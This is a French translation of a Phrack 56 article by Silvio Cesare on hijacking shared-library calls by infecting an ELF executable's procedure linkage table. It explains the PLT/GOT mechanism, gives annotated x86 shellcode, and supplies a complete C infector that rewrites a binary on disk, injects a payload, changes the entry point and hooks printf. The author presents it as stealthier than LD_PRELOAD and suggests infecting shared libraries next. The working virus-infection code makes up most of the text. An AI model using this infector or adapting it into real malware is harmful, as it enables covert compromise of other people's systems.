Redirection d'appel à une bibliothèque partagée

                  - P H R A C K   M A G A Z I N E -

                        Volume 0xa Issue 0x38
                              05.01.2000
                              0x07[0x10]

|----------- REDIRECTION D'APPEL A UNE BIBLIOTHEQUE PARTAGEE ----------|
|--------------------- VIA INFECTION DE LA PLT ELF --------------------|
|----------------------------------------------------------------------|
|------------------ Silvio Cesare <silvio@big.net.au> -----------------|



----|  INTRODUCTION

Cet article décrit une méthode de redirection d'appel à une bibliothèque
partagée utilisant une infection ELF qui redirige la Table de Liaison
des Procédures (Procedure Linkage Table, PLT) d'un exécutable,
permettant à la redirection d'exister en dehors de l'exécutable infecté.
Par rapport à la technique de redirection LD_PRELOAD, cette technique a
l'avantage de ne pas modifier l'environnement, et donc d'être plus
difficilement détectable. A titre d'illustration, une implémentation
pour x86/Linux est fournie. Ceux intéressés peuvent se reporter à ces
URLs :

   http://virus.beergrave.net     (La liste de diffusion des virus Unix)
   http://www.big.net.au/~silvio  (Ma page)
[NdT : big.net.au semble être mort, mais il est toujours possible de
retrouver les articles de Silvio Cesare sur
http://vx.netlux.org/lib/?lang=EN&author=Cesare%2C%20Silvio ]


----|  LA TABLE DE LIAISON DES PROCEDURES (PLT)

D'après les spécifications ELF ... (lecture optionnelle, mais donne plus
de détails que le texte après)

"                   Table de Liaison des Procédures

A l'image de la Table des Décalages Globaux (Global Offset Table, GOT)
qui redirige des adresses indépendantes en position en adresses
absolues, la Table de Liaison des Procédures redirige des appels de
fonction indépendantes en position en adresses absolues. L'éditeur de
lien ne peut résoudre les transfert d'exécution (tels que les appels de
fonction) d'un exécutable ou objet partagé vers un autre. Par
conséquent, l'éditeur de lien s'arrange pour que le programme tranfère
le contrôle aux entrées de la PLT. Sur l'architecture SYSTEM V, la PLT
est située dans le texte partagé, mais utilise des adresses de la GOT
qui est, elle, privée. L'éditeur de liens dynamique détermine les
adresses absolues des destinations et modifie l'image mémoire de la GOT
en conséquence. L'éditeur de liens dynamique peut ainsi rediriger les
entrées sans compromettre l'indépendance en position et la
partageabilité du texte du programme. Les exécutables et les objets
partagés ont des des PLT séparées.

+ Figure 2-12: Table de liaison des procédures absolue {*}

  .PLT0:pushl   got_plus_4
        jmp     *got_plus_8
        nop; nop
        nop; nop
  .PLT1:jmp     *name1_in_GOT
        pushl   $offset
        jmp     .PLT0@PC
  .PLT2:jmp     *name2_in_GOT
        pushl   $offset
        jmp     .PLT0@PC
        ...

+ Figure 2-13: Table de liaison des procédures indépendante en position

  .PLT0:pushl   4(%ebx)
        jmp     *8(%ebx)
        nop; nop
        nop; nop
  .PLT1:jmp     *name1@GOT(%ebx)
        pushl   $offset
        jmp     .PLT0@PC
  .PLT2:jmp     *name2@GOT(%ebx)
        pushl   $offset
        jmp     .PLT0@PC
        ...

NOTE : Comme le montrent les listings, la PLT utilise des modes
d'adressage d'opérande différents pour le code absolu et le code
indépendant en position. Néanmoins, leurs interfaces vis a vis de
l'éditeur de lien dynamique sont les mêmes.

En suivant les étapes ci-dessous, l'editeur de lien dynamique et le
programme ``coopèrent'' pour résoudre les références symboliques en
passant par la PLT et la GOT.

1. Lorsqu'il créé l'image mémoire du processus, l'éditeur de lien
   dynamique affecte à la deuxième et troisième entrée de la GOT des
   valeurs spéciales. Les étapes ci-dessous expliquent plus en détail ce
   que sont ces valeurs.
2. Si la PLT est indépendante en position, %ebx doit contenir l'adresse
   de la GOT. Chaque fichier de type objet partagé dans l'image du
   processus possède sa propre PLT, et le contrôle ne peut être
   transféré qu'a une entrée de la PLT du même fichier objet. Par
   conséquent, la fonction appelante doit affecter la bonne valeur au
   registre de base de la GOT (%ebx) avant d'appeler l'entrée de la PLT.
3. Pour illustrer, nous dirons  que le programme appelle name1, qui
   transfère le contrôle à l'étiquette .PLT1.
4. La première instruction saute à l'adresse dans l'entrée de la GOT
   correspondant à name1. Au départ, la GOT contient l'adresse du pushl
   suivant, et non pas l'adresse réelle de name1.
5. Par conséquent, le programme empile un déplacement de relogement
   ($offset). Le déplacement de relogement est un déplacement en octets,
   positif, de taille 32 bits, dans la table de relogement. L'entrée de
   relogement désignée doit avoir le type R_386_JMP_SLOT, et son
   déplacement désigne l'entrée de la GOT utilisée dans le jmp
   précédent. L'entrée de relogement contient également un index de
   table des symboles, indiquant ainsi à l'éditeur de lien dynamique
   quel est le symbole référencé, name1 dans cet exemple.
6. Après avoir empilé le déplacement de relogement, le programme saute à
   .PLT0, la première entrée dans la PLT. l'instruction pushl place la
   valeur de la deuxième entrée de la GOT (got_plus_4 ou 4(%ebx)),
   indiquant ainsi à l'éditeur de lien dynamique un mot d'information
   d'identification. Le programme saute ensuite à l'adresse de la
   troisième entrée de la GOT (got_plus_8 ou 8(%ebx)), qui transfère le
   contrôle à l'éditeur de lien dynamique.
7. Quand l'éditeur de lien dynamique reçoit le contrôle, il parcourt la
   pile, regarde l'entrée de relogement désignée, trouve la valeur du
   symbole, enregistre la ``véritable adresse de name1 dans son entrée
   de la GOT, et transfère le contrôle à la destination voulue.
8. Les exécutions ultérieures de l'entrée de la PLT sauteront
   directement à name1, sans ré-appeler l'éditeur de lien dynamique,
   c'est-à-dire que l'instruction jmp à .PLT1 sautera à name1 au lieu de
   passer au pushl suivant.

La variable d'environement LD_BIND_NOW affecte le comportement de
l'édition de lien dynamique. Si sa valeur est non-nulle, l'editeur de
lien dynamique évalue les entrées de la PLT avant de transférer le
contrôle au programme, autrement dit il traite le relogement des entrées
de type R_386_JMP_SLOT pendant l'initialisation du processus. Sinon,
l'éditeur de lien dynamique évalue les entrées de la PLT paresseusement,
ne résolvant le symbole et le relogement que lors de la première
exécution d'une entrée de la table.

NOTE : La liaison paresseuse améliore généralement les performances
globales de l'application, car les symboles non-utilisés n'induisent pas
de surcharge due à la liaison dynamique. Néanmoins, deux situations
rendent la liaison paresseuse indésirable pour certaines applications.
Premièrement, le premier appel à une fonction partagée prend plus de
temps que les appels suivants, car l'éditeur de lien dynamique
intercepte l'appel pour résoudre le symbole. Certaines applications ne
peuvent tolérer cette incertitude. Deuxièmement, si une erreur survient
et que l'éditeur de lien dynamique ne peut résoudre le symbole, il va
terminer le programme. Avec la liaison paresseuse, cela peut arriver à
n'importe quel moment. Encore une fois, certaines applications ne
peuvent tolérer cette incertitude. En désactivant la liaison paresseuse,
l'éditeur de lien dynamique oblige les problèmes a se manifester pendant
l'initialisation du processus, avant que l'application ne reçoive le
contrôle.
"

Pour expliquer de manière conçise ...

Les appels aux bibliothèques partagées sont traités différemment dans
les objets exécutables car elles ne peuvent être liées à l'exécutable au
moment de la compilation, attendu qu'elles ne sont disponibles qu'au
moment de l'exécution. La PLT a été conçue pour régler de tels
problèmes. La PLT contient le code chargé d'appeler l'éditeur de lien
dynamique pour localiser les routines voulues.

Au lieu d'appeler les véritables routines partagées depuis l'exécutable,
l'exécutable appelle une entrée dans la PLT. La PLT devra ensuite
résoudre le symbole que l'entrée représente et faire ce qu'il faut.

D'après les spécifications ELF ...

" .PLT1:jmp     *name1_in_GOT
        pushl   $offset
        jmp     .PLT0@PC
"

C'est le pasage crucial. C'est cette routine qui est appelée à la place
de la routine partagée. name1_in_GOT pointe initialement vers
'pushl $offset'. $offset représente un déplacement de relogement (voir
spécifications ELF) qui a une référence vers le symbole représentant
l'appel original. Le jmp final saute vers l'éditeur de lien dynamique
qui va changer name1_in_GOT de sorte qu'il pointe directement vers la
routine, évitant ainsi une seconde liaison dynamique.

Ceci résume bien l'importance de la PLT dans la résolution d'appel de
code partagé. On peut noter qu'il nous est possible de changer
name_in_GOT pour le faire pointer vers notre propre code, remplacant
ainsi les appels de bibliothèque. Si nous sauvegardons la GOT avant de
la remplacer, nous sommes en mesure d'appeler l'ancienne routine et donc
de rediriger n'importe quel appel de bibliothèque.


----|  INFECTION ELF

L'injection d'une redirection d'appel de bibliothèque dans un exécutable
exige l'ajout de nouveau code. La démarche effective ne sera pas décrite
ici, ayant déja été vue en détail dans des articles précédents (Unix
Virusses/Unix ELF Parasites and Virus). Pour référence nous utiliserons
ici l'infection de données [NdT : Data Infection], méthode légèrement
instable car sensible au stripping.


----|  REDIRECTION DE LA PLT

L'algorithme au point d'entrée est le suivant ...

	* marquer le segment de text comme accessible en écriture.
	* sauvegarder l'entrée de la PLT(GOT)
	* remplacer l'entrée de la PLT(GOT) avec la nouvelle adresse
          d'appel

L'algorithme a la nouvelle adresse d'appel est le suivant ...

	* exécuter le code de la nouvelle fonction
	* restaurer la valeur originale de l'entrée de la PLT(GOT) 
	* appeler la fonction de bibliothèque originale
	* sauvegarder à nouveau l'entrée de la PLT(GOT) (si elle a
          changé)
	* remplacer l'entrée de la PLT(GOT) avec la nouvelle adresse
          d'appel

Pour expliquer plus en détail comment se fait la redirection PLT, le
plus simple est de décrire le morceau de code fourni. Ce code est
injecté dans un exécutable et devient le nouveau point d'entrée du
programme. La fonction de bibliothèque détournée est printf, et le
nouveau code affiche un message avant la chaîne fournie à printf.

--
sauvegarde les registres et le reste ...

        "\x60"                  /*  pusha                    */

marque le segment de texte comme rwx. Ainsi nous pouvons modifier la PLT
qui est dans le segment de texte et qui n'est normalement pas accessible
en écriture.

        "\xb8\x7d\x00\x00\x00"  /*  movl   $125,%eax         */
        "\xbb\x00\x80\x04\x08"  /*  movl   $text_start,%ebx  */
        "\xb9\x00\x40\x00\x00"  /*  movl   $0x4000,%ecx      */
        "\xba\x07\x00\x00\x00"  /*  movl   $7,%edx           */
        "\xcd\x80"              /*  int    $0x80             */

nous sauvegardons la référence PLT(GOT) du vieil appel de bibliothèque
et le remplaçons par l'adresse du nouvel appel situé juste après le
nouveau point d'entrée.

        "\xa1\x00\x00\x00\x00"  /*  movl    plt,%eax         */
        "\xa3\x00\x00\x00\x00"  /*  movl    %eax,oldcall     */
        "\xc7\x05\x00\x90\x04"  /*  movl    $newcall,plt     */
        "\x08\x00\x00\x00\x00"

restaure les registres et tout le reste ...

        "\x61"                  /*  popa                     */

retour au point d'entrée original de l'exécutable.

        "\xbd\x00\x80\x04\x08"  /*  movl   $entry,%ebp       */
        "\xff\xe5"              /*  jmp    *%ebp             */

le nouvel appel de bibliothèque (printf).

/* newcall:     */

récupère l'adresse de la chaîne à écrire ...

        "\xeb\x38"              /*  jmp     msg_jmp          */
/* msg_call */
        "\x59"                  /*  popl    %ecx             */

et écrit cette chaîne avec l'appel système Linux.

        "\xb8\x04\x00\x00\x00"  /*  movl    $4,%eax          */
        "\xbb\x01\x00\x00\x00"  /*  movl    $1,%ebx          */
        "\xba\x0e\x00\x00\x00"  /*  movl    $14,%edx         */
        "\xcd\x80"              /*  int     $0x80            */

restaure l'ancien appel de bibliothèque dans la PLT(GOT) pour que nous
puissions l'appeler

        "\xb8\x00\x00\x00\x00"  /*  movl    $oldcall,%eax    */
        "\xa3\x00\x00\x00\x00"  /*  movl    %eax,plt         */

récupère l'argument original de printf

        "\xff\x75\xfc"          /*  pushl   -4(%ebp)         */

appelle la fonction originale

        "\xff\xd0"              /*  call    *%eax            */

sauvegarde l'appel original de la PLT(GOT). Rappelez vous qu'il peut
changer après un appel à la bibliothèque, donc nous le sauvegardons à
chaque fois. En réalité, il ne change qu'après le premier appel, mais la
surcharge n'est pas trop lourde.

        "\xa1\x00\x00\x00\x00"  /*  movl    plt,%eax         */
        "\xa3\x00\x00\x00\x00"  /*  movl    %eax,oldcall     */

fait pointer la PLT(GOT) vers le nouvel appel

        "\xc7\x05\x00\x00\x00"  /*  movl    $newcall,plt     */
        "\x08\x00\x00\x00\x00"

nettoie les arguments

        "\x58"                  /*  popl    %eax             */

restaure les registres et tout le reste ...

        "\x61"                  /*  popa                     */

et sort de la fonction.

        "\xc3"                  /*  ret                      */

récupère l'adresse de la chaîne a écrire.

/* msg_jmp */
        "\xe8\xc4\xff\xff\xff"  /*  call    msg_call         */

la chaîne

        "INFECTED Host "


----|  DIRECTIONS FUTURES

Il est possible d'infecter directement une bibliothèque partagée.
Parfois cette approche est préférable car la redirection devient
permanente pour tout les exécutables. Il est également possible
d'altérer uniquement l'image mémoire du processus, ainsi le fichier
exécutable n'est pas modifié, ajoutant a la furtivité de l'opération.
Cependant, la redirection ne sera effective que durant le temps de vie
du processus.


----|  CONCLUSION

Cet article a décrit une méthode de redirection d'appel de bibliothèque
partagée dans un exécutable s'appuyant sur une modification directe de
la PLT de l'exécuable en question en utilisant les techniques
d'infection ELF. Elle offre une meilleure furtivité que les techniques
précédentes utilisant LD_PRELOAD et ouvre de nombreuses possibilités.


----|  CODE

<++> p56/PLT-INFECTION/PLT-infector.c !fda3c047
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <elf.h>

#define PAGE_SIZE	4096

static char v[] =
	"\x60"                  /*      pusha	                */
	
	"\xb8\x7d\x00\x00\x00"  /*      movl   $125,%eax        */
	"\xbb\x00\x80\x04\x08"  /*      movl   $text_start,%ebx	*/
	"\xb9\x00\x40\x00\x00"  /*      movl   $0x4000,%ecx	*/
	"\xba\x07\x00\x00\x00"  /*      movl   $7,%edx          */
	"\xcd\x80"              /*      int    $0x80            */

	"\xa1\x00\x00\x00\x00"	/*	movl	plt,%eax	*/
	"\xa3\x00\x00\x00\x00"	/*	movl	%eax,oldcall	*/
	"\xc7\x05\x00\x90\x04"	/*	movl	$newcall,plt	*/
	"\x08\x00\x00\x00\x00"

	"\x61"                  /*      popa			*/

        "\xbd\x00\x80\x04\x08"  /*      movl   $entry,%ebp	*/
        "\xff\xe5"              /*      jmp    *%ebp            */

/* newcall:	*/

	"\xeb\x37"		/*	jmp	msg_jmp		*/
/* msg_call */
	"\x59"			/*	popl	%ecx		*/
	"\xb8\x04\x00\x00\x00"	/*	movl	$4,%eax		*/
	"\xbb\x01\x00\x00\x00"	/*	movl	$1,%ebx		*/
	"\xba\x0e\x00\x00\x00"	/*	movl	$14,%edx	*/	
	"\xcd\x80"		/*	int	$0x80		*/

	"\xb8\x00\x00\x00\x00"	/*	movl	$oldcall,%eax	*/
	"\xa3\x00\x00\x00\x00"	/*	movl	%eax,plt	*/
	"\xff\x75\xfc"		/*	pushl	-4(%ebp)	*/
	"\xff\xd0"		/*	call	*%eax		*/
	"\xa1\x00\x00\x00\x00"	/*	movl	plt,%eax	*/
	"\xa3\x00\x00\x00\x00"	/*	movl	%eax,oldcall	*/
	"\xc7\x05\x00\x00\x00"	/*	movl	$newcall,plt	*/
	"\x08\x00\x00\x00\x00"

	"\x58"			/*	popl	%eax		*/

	"\xc3"			/*	ret			*/

/* msg_jmp */
	"\xe8\xc4\xff\xff\xff"	/*	call	msg_call	*/

	"INFECTED Host "
;

char *get_virus(void)
{
	return v;
}

int init_virus(
	int plt,
	int offset,
	int text_start, int data_start,
	int data_memsz,
	int entry
)
{
	int code_start = data_start + data_memsz;
	int oldcall = code_start + 72;
	int newcall = code_start + 51;

	*(int *)&v[7] = text_start;
	*(int *)&v[24] = plt;
	*(int *)&v[29] = oldcall;
	*(int *)&v[35] = plt;
	*(int *)&v[39] = newcall;
	*(int *)&v[45] = entry;
	*(int *)&v[77] = plt;
	*(int *)&v[87] = plt;
	*(int *)&v[92] = oldcall;
	*(int *)&v[98] = plt;
	*(int *)&v[102] = newcall;
	return 0;
}

int copy_partial(int fd, int od, unsigned int len)
{
	char idata[PAGE_SIZE];
	unsigned int n = 0;
	int r;

	while (n + PAGE_SIZE < len) {
		if (read(fd, idata, PAGE_SIZE) != PAGE_SIZE) {;
			perror("read");
			return -1;
		}

		if (write(od, idata, PAGE_SIZE) < 0) {
			perror("write");
			return -1;
		}

		n += PAGE_SIZE;
	}

	r = read(fd, idata, len - n);
	if (r < 0) {
		perror("read");
		return -1;
	}

	if (write(od, idata, r) < 0) {
		perror("write");
		return -1;
	}

	return 0;
}

void do_elf_checks(Elf32_Ehdr *ehdr)
{
        if (strncmp(ehdr->e_ident, ELFMAG, SELFMAG)) {
                fprintf(stderr, "File not ELF\n");
                exit(1);
        }

        if (ehdr->e_type != ET_EXEC) {
                fprintf(stderr, "ELF type not ET_EXEC or ET_DYN\n");
                exit(1);
        }

        if (ehdr->e_machine != EM_386 && ehdr->e_machine != EM_486) {
                fprintf(stderr, "ELF machine type not EM_386 or EM_486\n");
                exit(1);
        }

        if (ehdr->e_version != EV_CURRENT) {
                fprintf(stderr, "ELF version not current\n");
                exit(1);
        }
}

int do_dyn_symtab(
	int fd,
	Elf32_Shdr *shdr, Elf32_Shdr *shdrp,
	const char *sh_function
)
{
	Elf32_Shdr *strtabhdr = &shdr[shdrp->sh_link];
	char *string;
	Elf32_Sym *sym, *symp;
	int i;

	string = (char *)malloc(strtabhdr->sh_size);
	if (string == NULL) {
		perror("malloc");
		exit(1);
	}

	if (lseek(
		fd, strtabhdr->sh_offset, SEEK_SET) != strtabhdr->sh_offset
	) {
		perror("lseek");
		exit(1);
	}

	if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
		perror("read");
		exit(1);
	}

	sym = (Elf32_Sym *)malloc(shdrp->sh_size);
	if (sym == NULL) {
		perror("malloc");
		exit(1);
	}

	if (lseek(fd, shdrp->sh_offset, SEEK_SET) != shdrp->sh_offset) {
		perror("lseek");
		exit(1);
	}

	if (read(fd, sym, shdrp->sh_size) != shdrp->sh_size) {
		perror("read");
		exit(1);
	}

	symp = sym;

	for (i = 0; i < shdrp->sh_size; i += sizeof(Elf32_Sym)) {
		if (!strcmp(&string[symp->st_name], sh_function)) {
			free(string);
			return symp - sym;
		}

		++symp;
	}

	free(string);
	return -1;
}

int get_sym_number(
	int fd, Elf32_Ehdr *ehdr, Elf32_Shdr *shdr, const char *sh_function
)
{
	Elf32_Shdr *shdrp = shdr;
	int i;

	for (i = 0; i < ehdr->e_shnum; i++) {
		if (shdrp->sh_type == SHT_DYNSYM) {
			return do_dyn_symtab(fd, shdr, shdrp, sh_function);
		}

		++shdrp;
	}
}

void do_rel(int *plt, int *offset, int fd, Elf32_Shdr *shdr, int sym)
{
	Elf32_Rel *rel, *relp;
	int i;

	rel = (Elf32_Rel *)malloc(shdr->sh_size);
	if (rel == NULL) {
		perror("malloc");
		exit(1);
	}

	if (lseek(fd, shdr->sh_offset, SEEK_SET) != shdr->sh_offset) {
		perror("lseek");
		exit(1);
	}

	if (read(fd, rel, shdr->sh_size) != shdr->sh_size) {
		perror("read");
		exit(1);
	}

	relp = rel;

	for (i = 0; i < shdr->sh_size; i += sizeof(Elf32_Rel)) {
		if (ELF32_R_SYM(relp->r_info) == sym) {
			*plt = relp->r_offset;
			*offset = relp - rel;
			printf("offset %i\n", *offset);
			return;
		}
		++relp;
	}

	*plt = -1;
	*offset = -1;
}

void find_rel(
	int *plt,
	int *offset,
	int fd,
	const char *string,
	Elf32_Ehdr *ehdr, Elf32_Shdr *shdr,
	const char *sh_function
)
{
	Elf32_Shdr *shdrp = shdr;
	int sym;
	int i;

	sym = get_sym_number(fd, ehdr, shdr, sh_function);
	if (sym < 0) {
		*plt = -1;
		*offset = -1;
		return;
	}

	for (i = 0; i < ehdr->e_shnum; i++) {
		if (!strcmp(&string[shdrp->sh_name], ".rel.plt")) {
			do_rel(plt, offset, fd, shdrp, sym);
			return;
		}

		++shdrp;
	}
}

void infect_elf(
        char *host,
        char *(*get_virus)(void),
        int (*init_virus)(int, int, int, int, int, int),
        int len,
	const char *sh_function
)

{
	Elf32_Ehdr ehdr;
	Elf32_Shdr *shdr, *strtabhdr;
	Elf32_Phdr *phdr;
	char *pdata, *sdata;
	int move = 0;
	int od, fd;
	int evaddr, text_start = -1, plt;
	int sym_offset;
	int bss_len, addlen;
	int offset, pos, oshoff;
	int plen, slen;
	int i;
	char null = 0;
	struct stat stat;
	char *string;
        char tempname[8] = "vXXXXXX";

	fd = open(host, O_RDONLY);
	if (fd < 0) {
		perror("open");
		exit(1);
	}

/* read the ehdr */

	if (read(fd, &ehdr, sizeof(ehdr)) < 0) {
		perror("read");
		exit(1);
	}

	do_elf_checks(&ehdr);

/* modify the virus so that it knows the correct reentry point */

	printf("host entry point: %x\n", ehdr.e_entry);

/* allocate memory for phdr tables */

	pdata = (char *)malloc(plen = sizeof(*phdr)*ehdr.e_phnum);
	if (pdata == NULL) {
		perror("malloc");
		exit(1);
	}

/* read the phdr's */

	if (lseek(fd, ehdr.e_phoff, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

	if (read(fd, pdata, plen) != plen) {
		perror("read");
		exit(1);
	}
	phdr = (Elf32_Phdr *)pdata;

/* allocated memory if required to accomodate the shdr tables */

	sdata = (char *)malloc(slen = sizeof(*shdr)*ehdr.e_shnum);
	if (sdata == NULL) {
		perror("malloc");
		exit(1);
	}

/* read the shdr's */

	if (lseek(fd, oshoff = ehdr.e_shoff, SEEK_SET) < 0) {
		perror("lseek");
		exit(1);
	}

	if (read(fd, sdata, slen) != slen) {
		perror("read");
		exit(1);
	}

	strtabhdr = &((Elf32_Shdr *)sdata)[ehdr.e_shstrndx];

	string = (char *)malloc(strtabhdr->sh_size);
	if (string == NULL) {
		perror("malloc");
		exit(1);
	}

	if (lseek(
		fd, strtabhdr->sh_offset, SEEK_SET
	) != strtabhdr->sh_offset) {
		perror("lseek");
		exit(1);
	}

	if (read(fd, string, strtabhdr->sh_size) != strtabhdr->sh_size) {
		perror("read");
		exit(1);
	}

	find_rel(
		&plt, &sym_offset,
		fd,
		string,
		&ehdr,
		(Elf32_Shdr *)sdata,
		sh_function
	);
	if (plt < 0) {
		printf("No dynamic function: %s\n", sh_function);
		exit(1);
	}

	for (i = 0; i < ehdr.e_phnum; i++) {
		if (phdr->p_type == PT_LOAD) {
			if (phdr->p_offset == 0) {
				text_start = phdr->p_vaddr;
			} else {
				if (text_start < 0) {
					fprintf(stderr, "No text segment??\n");
					exit(1);
				}

/* is this the data segment ? */
#ifdef DEBUG
				printf("Found PT_LOAD segment...\n");
				printf(
					"p_vaddr:	0x%x\n"
					"p_offset:	%i\n"
					"p_filesz:	%i\n"
					"p_memsz:	%i\n"
					"\n",
					phdr->p_vaddr,
					phdr->p_offset,
					phdr->p_filesz,
					phdr->p_memsz
				);
#endif
				offset = phdr->p_offset + phdr->p_filesz;
				bss_len = phdr->p_memsz - phdr->p_filesz;

				if (init_virus != NULL)
					init_virus(
						plt, sym_offset,
						text_start, phdr->p_vaddr,
						phdr->p_memsz,
						ehdr.e_entry
					);

				ehdr.e_entry = phdr->p_vaddr + phdr->p_memsz; 

				break;
			}
		}

		++phdr;
	}

/* update the shdr's to reflect the insertion of the virus */

	addlen = len + bss_len;

	shdr = (Elf32_Shdr *)sdata;

	for (i = 0; i < ehdr.e_shnum; i++) {
		if (shdr->sh_offset >= offset) {
			shdr->sh_offset += addlen;
		}

		++shdr;
	}

/*
	update the phdr's to reflect the extention of the data segment (to
	allow virus insertion)
*/

	phdr = (Elf32_Phdr *)pdata;

	for (i = 0; i < ehdr.e_phnum; i++) {
		if (phdr->p_type != PT_DYNAMIC) {
			if (move) {
				phdr->p_offset += addlen;
			} else if (phdr->p_type == PT_LOAD && phdr->p_offset) {
/* is this the data segment ? */

				phdr->p_filesz += addlen;
				phdr->p_memsz += addlen;

#ifdef DEBUG
				printf("phdr->filesz: %i\n", phdr->p_filesz);
				printf("phdr->memsz: %i\n", phdr->p_memsz);
#endif
 				move = 1;
			}
		}

		++phdr;
	}

/* update ehdr to reflect new offsets */

	if (ehdr.e_shoff >= offset) ehdr.e_shoff += addlen;
	if (ehdr.e_phoff >= offset) ehdr.e_phoff += addlen;

        if (fstat(fd, &stat) < 0) {
                perror("fstat");
                exit(1);
        }

/* write the new virus */

        if (mktemp(tempname) == NULL) {
                perror("mktemp");
                exit(1);
        }

	od = open(tempname, O_WRONLY | O_CREAT | O_EXCL, stat.st_mode);
	if (od < 0) {
		perror("open");
		exit(1);
	}

	if (lseek(fd, 0, SEEK_SET) < 0) {
		perror("lseek");
		goto cleanup;
	}

	if (write(od, &ehdr, sizeof(ehdr)) < 0) {
		perror("write");
		goto cleanup;
	}

        if (write(od, pdata, plen) < 0) {
                perror("write");
                goto cleanup;
        }
        free(pdata);

        if (lseek(fd, pos = sizeof(ehdr) + plen, SEEK_SET) < 0) {
                perror("lseek");
                goto cleanup;
        }

	if (copy_partial(fd, od, offset - pos) < 0) goto cleanup;

	for (i = 0; i < bss_len; i++) write(od, &null, 1);

	if (write(od, get_virus(), len) != len) {
		perror("write");
		goto cleanup;
	}

	if (copy_partial(fd, od, oshoff - offset) < 0) goto cleanup;

        if (write(od, sdata, slen) < 0) {
                perror("write");
                goto cleanup;
        }
        free(sdata);

        if (lseek(fd, pos = oshoff + slen, SEEK_SET) < 0) {
                perror("lseek");
                goto cleanup;
        }

        if (copy_partial(fd, od, stat.st_size - pos) < 0) goto cleanup;

        if (rename(tempname, host) < 0) {
                perror("rename");
                exit(1);
        }

        if (fchown(od, stat.st_uid, stat.st_gid) < 0) {
                perror("chown");
                exit(1);
        }


	free(string);

	return;

cleanup:
	unlink(tempname);
	exit(1);
}

int main(int argc, char *argv[])
{
	if (argc != 2) {
		fprintf(stderr, "usage: infect-data-segment filename\n");
		exit(1);
	}

        infect_elf(
                argv[1],
                get_virus, init_virus,
                sizeof(v),
		"printf"
        );

	exit(0);
}
<-->


|EOF|------------------------------------------------------------------|

[Traduit par pvt.Joker le 1 août 2007]